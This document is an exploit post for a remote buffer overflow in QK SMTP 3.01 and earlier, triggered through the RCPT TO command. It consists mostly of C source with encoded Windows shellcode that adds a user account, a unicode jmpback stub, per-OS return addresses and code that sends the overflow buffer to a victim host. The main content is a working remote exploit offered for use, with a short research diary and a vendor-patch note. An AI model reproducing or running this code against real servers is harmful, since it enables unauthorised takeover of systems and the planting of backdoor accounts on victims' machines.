QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit
[code]/*
_______ ________ .__ _____ __
___ __\ _ \ ____ \_____ \ | |__ / | | ____ | | __
\ \/ / /_\ \ / \ _(__ < ______ | | \ / | |__/ ___\| |/ /
> <\ \_/ \ | \/ \ /_____/ | Y \/ ^ /\ \___| <
/__/\_ \\_____ /___| /______ / |___| /\____ | \___ >__|_ \
\/ \/ \/ \/ 25\10\06 \/ |__| \/ \/
* mm. dM8
* YMMMb. dMM8 _____________________________________
* YMMMMb dMMM' [ ]
* `YMMMb dMMMP [ There are doors I have yet to open ]
* `YMMM MMM' [ windows I have yet to look through ]
* "MbdMP [ Going forward may not be the answer ]
* .dMMMMMM.P [ ]
* dMM MMMMMM [ maybe I should go back ]
* 8MMMMMMMMMMI [_____________________________________]
* YMMMMMMMMM [url]www.netbunny.org[/url]
* "MMMMMMP
* MxM .mmm
* W"W """
[i] Title: QK SMTP <= 3.01 RCPT-TO Buffer Overflow Exploit
[i] Discovered by: Greg Linares
[i] Exploit by: Expanders - expanders [aaat] gmail [dooot] com
[i] References: [url]http://www.securityfocus.com/bid/20681[/url] --- [url]http://www.qksoft.com/[/url]
[i] Greatings: x0n3-h4ck - netbunny
[ Research diary ]
Ok.. I'm ready to write some lines about this exploit..
I've encountered some problems during development:
ESI and ESP points to our buffer, in a memory location that will be contaminated with some bytes after
storing our data. result: I coulnt put shellcode directly here because it will be changed.
So i had to write a short jmpback unicode-proof shellcode using venetian tecnique.
Because of some unknown reasons i was not able to get a socket-based shellcode working..
in this exploit I use an ADD USER shellcode.
[ Timeline ]
Vendor has been informed and version 3.10b has been released.
[ Notes ]
RETcode type: POINTER TO [ESP]
To improve realiability you can search your own RETcodes..
[ Documentation ]
Venetian exploit: [url]http://www.net-security.org/dl/articles/unicodebo.pdf[/url]
Skylined Alpha2 : [url]www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php[/url]
[ Special Thanks ]
Skylined
H D Moore
Greg Linares
[ Links ]
[url]www.x0n3-h4ck.org[/url]
[url]www.netbunny.org[/url]
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
// You may want to change this, is the user and the password of shellcode added user
#define NETADD_USER "x0n3"
#define NETADD_PASS "h4ck"
// Exploit internal constant, change only if you know what you are doing
#define HELO "EHLO\r\n"
#define MAIL_FROM "MAIL FROM: <[email]good@ye.com[/email]>\r\n"
#define BUGSTR "RCPT TO: %[email]s@fuck.com[/email]>\r\n"
#define BUFFSIZE 10000
#define SC_MAX_SIZE 800
#define MAX_ENCODED_LEN 100
// Offsets
#define RET_OFFSET 296
#define JMPBACK_OFFSET 4089
#define SHELLCODE_OFFSET 2524
int encode_alphanum(unsigned char *src,unsigned char *dest,int len);
int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );
// win32 ADD user un-encoded shellcode taken from metasploit [ tnx hdm & vlas902 ]
// encoded using Skylined alpha2 tool
char alphanum_shellcode[] =
// Skylined's alpha2 unicode decoder
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABA"
"BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB"
// Encoded opcodes
"ylzHOTM0KPkP2kQ5OL2kQlKUt8kQzOtK0On82k1OO0KQ8kpIDKoDTKKQXnnQ7P4Y4lU4upptm7i1WZLM"
"kQWRJKJTMkpTLdzdt59UdKooktkQzKOv4KlLNkDKooMLyqZKBkMLRkzajKQyQLmTM45sNQUpotRkmplp"
"tEupQhlLBkoPlLRkRPKlvMRkoxjhzKKYtKqpFPkPm0KPbkphMlaOlqhvqPPVriJXCS5pCKNpOxJO8Nk0"
"C0c8eHKNqzznPW9oyW1SBMotnNaUQhaUkpNOpckpRNOuqdmPRUpsqUPrmP%skp%s"
"mPnOQ1OTNdo0mVMVMPpnOurTMP0lBOqS31PlC7prpobU0pkpoQotPmoyPn1YT3ptT2aQPtpo1bBSkp%s"
"MPNOOQa4oTkPA";
// Fully customizable UNICODE-PROOF jmpback shellcode
// Written with venetian tecnique to jmpback as more as possible using as less as possible bytes
// Note that \x73 is "add byte ptr [ebx],dh", ebx point to a useless but writable location so
// we can use this instruction as a unicode NOP to realign with our next instruction
unsigned char jmpback[] =
"\x50\x73" // push eax |
"\x54\x73" // push esp | Workaroung for "xchg eax,esp" cos 0x96 is filtered
"\x58\x73" // pop eax |____
"\xB0" // mov al,0x0 | Set last eax byte to zero..
"\x48\x73" // dec ax | ..and next we decrement eax
"\xB0\x48\x73"
"\xB0\x48\x73" // | Again...
"\xB0\x48\x73" // | ...and angain
"\xB0\x48\x73"
"\xB0\x48\x73" // | every time it substract 0xFF to eax
"\xB0\x48\x73"
"\xB0\x48\x73"
"\xB0\x48\x73"
"\xB0\x48\x73"
"\xB0\x48\x73"
"\xB0\x48\x73"
"\xB0\x48\x73"
"\x48\x73"// | eax is aligned to the shellcode
"\x50\x73" // push eax
"\xC3\x73"; // retn
//"\x50\x73\xBA\xAA\xAA\x73\x52\x73\xC3\x73"; // push eax = 0xAA00AA00 and retn !!DEBUG!!
struct retcodes{char *platform;unsigned long addr;} targets[]= {
{ "Windows NT Universal", 0x77cec080 }, // shell32.dll push esp, ret [Tnx to metasploit]
{ "Windows 2k SP 4" , 0x75031dce }, // ws2_32.dll push esp, ret [Tnx to metasploit]
{ "Windows XP SP 0/1" , 0x71ab7bfb }, // ws2_32.dll jmp esp [Tnx to metasploit]
{ "Windows XP SP 2 ENG" , 0x71ab9372 }, // ws2_32.dll push esp, ret [Tnx to metasploit]
{ "Windows XP SP 2 ITA" , 0x77D92CFC }, // user32.dll jmp esp
{ NULL }
};
int banner() {
printf("\n _______ ________ .__ _____ __ \n");
printf("___ __\\ _ \\ ____ \\_____ \\ | |__ / | | ____ | | __ \n");
printf("\\ \\/ / /_\\ \\ / \\ _(__ < ______ | | \\ / | |__/ ___\\| |/ / \n");
printf(" > <\\ \\_/ \\ | \\/ \\ /_____/ | Y \\/ ^ /\\ \\___| < \n");
printf("/__/\\_ \\\\_____ /___| /______ / |___| /\\____ | \\___ >__|_ \\ \n");
printf(" \\/ \\/ \\/ \\/ \\/ |__| \\/ \\/ \n\n");
printf("[i] Title: \tQK SMTP Remote RCPT-TO Buffer overflow\n");
printf("[i] Discovered by:\tGreg Linares\n");
printf("[i] Exploit by: \tExpanders\n\n");
return 0;
}
int usage(char *filename) {
int i;
printf("Usage: \t%s <host> <port> <targ>\n\n",filename);
printf(" \t<host> : Victim's host\n");
printf(" \t<port> : Victim's port :: Default: 25\n");
printf(" \t<targ> : Target from the list below\n\n");
printf("# \t Platform\n");
printf("-----------------------------------------------\n");
for(i = 0; targets[i].platform; i++)
printf("%d \t %s\n",i,targets[i].platform);
printf("-----------------------------------------------\n");
exit(0);
}
int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;
memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[X] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[X] Socket failed!\n" );
exit ( 1 );
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "[X] Failed connecting!\n" );
exit ( 1 );
}
return ( s );
}
int main(int argc, char *argv[]) {
int s,position;
char encoded_user[MAX_ENCODED_LEN];
char encoded_pass[MAX_ENCODED_LEN];
unsigned int rcv;
char *buffer,*request;
char recvbuf[256];
char shellcode[SC_MAX_SIZE];
banner();
if( (argc != 4) || (atoi(argv[2]) < 1) || (atoi(argv[2]) > 65534) )
usage(argv[0]);
printf("[+] Target OS is: %s\n",targets[atoi(argv[3])].platform);
printf("[+] Creating evil buffer...");
fflush(stdout);
buffer = (char *) malloc(BUFFSIZE);
request = (char *) malloc(BUFFSIZE + strlen(BUGSTR));
memset(buffer,0x73,BUFFSIZE); // Fill with unicode nops
memset(buffer+4000,0x45,1000);
encode_alphanum(encoded_user,NETADD_USER,strlen(NETADD_USER));
encode_alphanum(encoded_pass,NETADD_PASS,strlen(NETADD_PASS));
sprintf(shellcode,alphanum_shellcode,encoded_user,encoded_pass,encoded_user);
memcpy(buffer+RET_OFFSET,&targets[atoi(argv[3])].addr,4);
memcpy(buffer+SHELLCODE_OFFSET,shellcode,strlen(shellcode));
memcpy(buffer+JMPBACK_OFFSET,jmpback,strlen(jmpback));
memset(buffer+4500,0x00,1);
printf("done\n");
printf("[+] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
//rcv=recv(s,recvbuf,256,0);
if((rcv = recv(s,recvbuf,256,0)) < 0)
{
printf("\n[X] Error while recieving banner!\n");
exit( 1 );
}
if (strstr(recvbuf,"QK SMTP")!=0)
{
sleep(1);
sprintf(request,"%s",HELO);
printf("[+] Sending EHLO\n");
if ( send ( s, request, strlen(request), 0) <= 0 )
{
printf("[X] Failed to send buffer\n");
exit ( 1 );
}
sleep(1);
sprintf(request,"%s",MAIL_FROM);
printf("[+] Sending MAIL FROM\n");
if ( send ( s, request, strlen(request), 0) <= 0 )
{
printf("[X] Failed to send buffer\n");
exit ( 1 );
}
sleep(1);
sprintf(request,BUGSTR,buffer);
printf("[+] Sending EXPLOIT\n");
if ( send ( s, request, strlen(request), 0) <= 0 )
{
printf("[X] Failed to send buffer\n");
exit ( 1 );
}
sleep(1);
printf("[+] Done - New account should have been added:\n");
printf("[i] LOGIN:\t%s\n",NETADD_USER);
printf("[i] PASSWORD:\t%s\n",NETADD_PASS);
printf("[+] Exploit now hangs up. see ya.\n\n");
} else
printf("[X] This server is not running QK SMTP\n");
close(s);
free(buffer);
free(request);
return 0;
}
// Ripped from Skylined's alpha2.c
int encode_alphanum(unsigned char *dest,unsigned char *src,int len){
char dump[2];
int i,n, input, A, B, C, D, E, F;
char* valid_chars;
struct timeval tv;
struct timezone tz;
memset(dest,0x00,MAX_ENCODED_LEN);
gettimeofday(&tv, &tz);
srand((int)tv.tv_sec*1000+tv.tv_usec);
valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
for(n=0;n<len;n++) {
input = src[n];
A = (input & 0xf0) >> 4;
B = (input & 0x0f);
F = B;
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
E = valid_chars[i] >> 4;
D = (A-E) & 0x0f;
i = rand() % strlen(valid_chars);
while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
C = valid_chars[i] >> 4;
sprintf(dump,"%c%c", (C<<4)+D, (E<<4)+F);
strcat(dest,dump);
}
return 0;
}
[/code]
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